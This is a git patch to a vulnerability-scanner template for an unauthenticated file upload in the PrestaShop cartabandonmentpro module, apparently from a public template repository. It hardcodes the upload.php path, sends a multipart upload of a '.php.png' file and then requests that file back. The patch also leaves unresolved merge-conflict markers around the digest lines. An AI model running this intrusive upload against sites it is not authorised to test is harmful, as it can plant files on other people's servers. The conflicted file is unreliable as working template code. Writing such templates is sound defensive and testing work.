From c5854055754b9540752a4287c0833108703870ae Mon Sep 17 00:00:00 2001 From: Dhiyaneshwaran Date: Mon, 3 Feb 2025 19:00:45 +0530 Subject: [PATCH] Update prestashop-cartabandonmentpro-file-upload.yaml --- ...tashop-cartabandonmentpro-file-upload.yaml | 20 +++++++------------ 1 file changed, 7 insertions(+), 13 deletions(-) diff --git a/http/vulnerabilities/prestashop/prestashop-cartabandonmentpro-file-upload.yaml b/http/vulnerabilities/prestashop/prestashop-cartabandonmentpro-file-upload.yaml index eee0eee3266..d9b893d1f6c 100644 --- a/http/vulnerabilities/prestashop/prestashop-cartabandonmentpro-file-upload.yaml +++ b/http/vulnerabilities/prestashop/prestashop-cartabandonmentpro-file-upload.yaml @@ -15,7 +15,6 @@ info: product: ap_pagebuilder vendor: apollotheme tags: intrusive,file-upload,cartabandonmentpro,prestashop - variables: filename: '{{rand_base(7, "abc")}}' title: '{{rand_base(7, "abc")}}' @@ -23,7 +22,7 @@ variables: http: - raw: - | - POST /modules/{{paths}}/upload.php HTTP/1.1 + POST /modules/cartabandonmentpro/upload.php HTTP/1.1 Host: {{Hostname}} Content-Type: multipart/form-data; boundary=xYzZY @@ -38,18 +37,9 @@ http: --xYzZY-- - | - GET /modules/{{paths}}/uploads/{{filename}}.php.png HTTP/1.1 + GET /modules/cartabandonmentpro/uploads/{{filename}}.php.png HTTP/1.1 Host: {{Hostname}} - payloads: - paths: - - 'cartabandonmentpro' - - 'cartabandonmentproOld' - - 'cartabandonmentpro_Old' - - 'cartabandonmentpro2' - - 'pscartabandonmentpro' - - stop-at-first-match: true matchers: - type: dsl dsl: @@ -57,4 +47,8 @@ http: - 'contains(body_1, "{{filename}}.php.png")' - 'status_code_1 == 200 && status_code_2 == 200' condition: and -# digest: 4b0a00483046022100da3fefb12797955d5b4ee50101e3aa565ac1b719b66492306459be1d16eb36f8022100be2509c6df7b4855ee9c190a8920a0a73ca487806f778ae4a5fd1d37e0c2a7c8:922c64590222798bb761d5b6d8e72950 \ No newline at end of file +<<<<<<< HEAD +# digest: 4b0a00483046022100da3fefb12797955d5b4ee50101e3aa565ac1b719b66492306459be1d16eb36f8022100be2509c6df7b4855ee9c190a8920a0a73ca487806f778ae4a5fd1d37e0c2a7c8:922c64590222798bb761d5b6d8e72950 +======= +# digest: 4a0a0047304502206e7fd1274ec8a32ba237fe97e0cec1140d289a60334a308e04e8485002058aaf022100deb3630fa4128c303b0e7cd72d3391a0374c670db5ff498077d4d8779f44e369:922c64590222798bb761d5b6d8e72950 +>>>>>>> parent of d3ee7669be (additional-path-added)